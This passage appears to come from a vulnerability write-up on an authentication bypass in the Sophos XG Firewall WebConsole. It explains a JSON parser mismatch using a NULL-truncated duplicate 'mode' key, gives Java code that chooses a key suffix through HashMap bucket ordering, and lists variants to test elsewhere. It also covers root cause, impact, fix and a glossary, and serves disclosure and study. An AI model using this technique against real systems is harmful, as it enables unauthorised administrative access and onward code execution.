{"___serverport":4444,"___component":"GUI","languageid":"1","mode\u0000":716,"transactionid":"72","accessaction":1,"mode":151,"password":"somethingnotpassword","currentlyloggedinuserid":3,"APIVersion":"1805.2","browser":"Chrome_101","___serverprotocol":"HTTP","___username":"admin","___meta":{"sessionType":1},"___serverip":"[redacted]","currentlyloggedinuserip":"[redacted]","username":"admin"}
This is the JSON that the Controller actually forwarded to the CSC. Notice the order: mode\u0000 comes before mode. The CSC reads the keys in order and keeps the last value for a duplicated key, so it ended up with mode 151, the login mode, and the login failed. The injected key has to come after mode in the forwarded JSON.
JSONObject is implemented using a HashMap. A HashMap is a data structure that stores key-value pairs in an array of slots called buckets. It computes a number, the hash, from the key, and uses part of that number to choose a bucket. When you read the map back, entries come out in bucket order, not in the order they were inserted. It is therefore necessary to choose a value that comes after mode:
import java.util.Arrays;
static int hash(Object key) {
int h;
return key == null ? 0 : (h = key.hashCode()) ^ h >>> 16;
}
static int getBucket(Object key, int capacity) {
return hash(key) & capacity - 1;
}
String[] keys = {"mode", "mode\u0000", "mode\u0000ef"};
Arrays.stream(keys).forEach((key) -> {
System.out.println("Key " + key + " put in bucket " + getBucket(key, 32));
});
Line by line:
import java.util.Arrays;brings in a helper for working with arrays.hash(Object key)computes the hash of a key. If the key is null, the hash is 0. Otherwise it takes the key's ownhashCode()and mixes the high bits into the low bits with^ h >>> 16. This is the same mixing Java's own HashMap uses.getBucket(Object key, int capacity)turns the hash into a bucket number by masking it withcapacity - 1. With a capacity of 32, the result is a number from 0 to 31.String[] keys = {...}lists three candidate keys:mode,modefollowed by a NULL, andmodefollowed by a NULL and the lettersef.- The loop prints the bucket for each key.
The output shows the buckets:
Key mode put in bucket 16
Key mode[NULL] put in bucket 14
Key mode[NULL]ef put in bucket 30
So plain mode lands in bucket 16, mode with a NULL lands in bucket 14 (before it), and mode with a NULL and ef lands in bucket 30 (after it). By adding ef after the NULL, the key still truncates to mode in the CSC, but it is stored after mode in the Java HashMap, so it is written later in the forwarded JSON and wins.
Putting everything above into the payload gives the exploit.
Note that after the processing step from the CSC, the WebConsole and User Portal still use the username to query more information, so a username that already exists in the system is needed to exploit this. The bypass does not create an account; it only skips the password check for an account that is already there.
Root cause
The bypass comes from a mismatch between two JSON parsers. The Java side (org.json-20090211) rejects duplicate keys with an exception and keeps a key containing a NULL character intact. The C side (json-c) overwrites the earlier value when a key is duplicated and truncates a key at the NULL character. A key such as mode\u0000 is therefore a distinct key to Java but is read as mode by the CSC, letting the attacker override the mode the Controller selected. The CSC then answers with the success status the Java side checks for, and WebAdminAuth treats any 200 or 201 as an authenticated session.
The added input filter, which strips characters below 0x20 and Unicode above 0x007f, did not prevent this, since the NULL is encoded as the escape sequence \u0000 in the JSON text rather than sent as a raw byte. The ordering problem in step 2 is a consequence of JSONObject being backed by a HashMap, so the position of the injected key in the serialised output depends on its bucket.
Impact
An unauthenticated attacker who knows an existing username can bypass authentication on the WebConsole and User Portal. Unauthenticated means without any valid login. Because the Web Admin already carries many firewall control features, the researcher notes that RCE from there is quite easy. The write-up states that more than 10,000 WebConsoles are public, and that about 1000 of them had not been patched, accounting for a large number of large IPSs, leaving them very vulnerable to attacks from the internet. IPS here means intrusion prevention system, a class of security appliance; a public WebConsole is one reachable from the internet, so anyone can try the request against it.
Fix
In subsequent versions, Sophos patched it by not allowing unauthorised characters to be entered in endpoints, as analysed by AttackKB.
Variants to test
The same ideas can be tried elsewhere. These are patterns to look for, not a recipe for attacking systems you do not own or have permission to test.
- Duplicate keys across parser boundaries. Send a JSON body with the same key twice, or with a key plus a NULL-truncated variant, to any endpoint where one component validates and another executes. A positive result is the two components disagreeing: the front end accepts the body while the back end acts on the second value.
- NULL truncation in keys. Use
\u0000inside a key that selects a mode, action or handler. A positive result is the back end behaving as if the truncated key had been sent, for example returning a success status for an action you did not request. - NULL truncation in values. The same trick on values, such as a username or path. A positive result is a lookup or comparison that uses only the part before the NULL.
- HashMap ordering. When an injected key must appear after another key in the serialised output, compute the bucket for candidate suffixes as shown above and pick one that lands after the original key. A positive result is the injected key appearing in the expected position in the forwarded request.
- Status-only authentication checks. Look for login handlers that decide success purely from a numeric status returned by a back-end service. A positive result is any way to make that service return 200 or 201 for a request that did not authenticate.
Glossary
- Apache: a widely used web server program that receives connections from browsers.
- Authentication bypass: getting past a login check without valid credentials.
- Bean: in Java, an object that holds a bundle of related fields.
- Bug bounty programme: a scheme where a company pays researchers for reporting security flaws responsibly.
- Bucket: one slot in a HashMap's internal array, chosen from a key's hash.
- C: a low-level programming language close to the machine, used for performance-critical code.
- Controller: the part of a web application that receives a request and decides what to do with it.
- Cookie: a small piece of data a browser stores and sends back with later requests, often used to identify a session.
- CSC: the component of Sophos XG Firewall that handles the main work of the system, written in C with logic in Perl.
- CVE: a public catalogue number given to a specific security vulnerability.
- Endpoint: a URL path that an application exposes for requests.
- Endpoint protection: software on individual computers that watches for malicious activity.
- EventBean: the object in Sophos XG Firewall that holds the details of a login or other event.
- Exception: an error raised by a program when something goes wrong, which stops the current operation unless handled.
- Filter: a piece of code that inspects requests before they are processed.
- Firewall: a device or program that controls what network traffic is allowed in and out.
- HashMap: a data structure that stores key-value pairs in buckets chosen by a hash of the key.
- Hash: a number computed from a piece of data, used to choose where to store it.
- HTTP: the protocol browsers and web servers use to exchange requests and responses.
- IPS: intrusion prevention system, a class of security appliance that detects and blocks attacks.
- Java: a programming language widely used for server-side web applications.
- Jetty: a Java web server, used here for the WebConsole and WebPortal.
- JSON: a text format for structured data made of keys and values.
- json-c: a C library for parsing and producing JSON.
- Library: a bundle of ready-made code a program uses instead of writing everything itself.
- Mode: a number that tells the CSC which action to perform.
- NULL character: a byte with value zero, which in C marks the end of a string.
- org.json: a Java library for parsing and producing JSON.
- Parameter: a named value sent with a request, like a field in a form.
- Perl: a scripting language often used for text processing.
- PostgreSQL: a relational database system.
- Protocol: an agreed format for messages between programs.
- RCE (remote code execution): running your own code on a remote system.
- Response type: a number in the event bean that tells the code which format to expect from the CSC.
- Session: the state of being logged in, tracked by the server and usually referenced by a cookie.
- Servlet: a Java class that handles web requests.
- Status code: a number in an HTTP response saying what happened, such as 200 for success.
- TCP: a reliable, ordered way of sending data over a network.
- Truncation: cutting a string short, here at a NULL character.
- UDP: a faster, unreliable way of sending data over a network.
- Unicode: the standard that assigns a number to every character in every writing system.
- WebConsole: the administration interface of Sophos XG Firewall.
- WebPortal: the page where ordinary users log in to Sophos XG Firewall.
- XML/HTML: markup languages for structuring documents and web pages (used here only as background).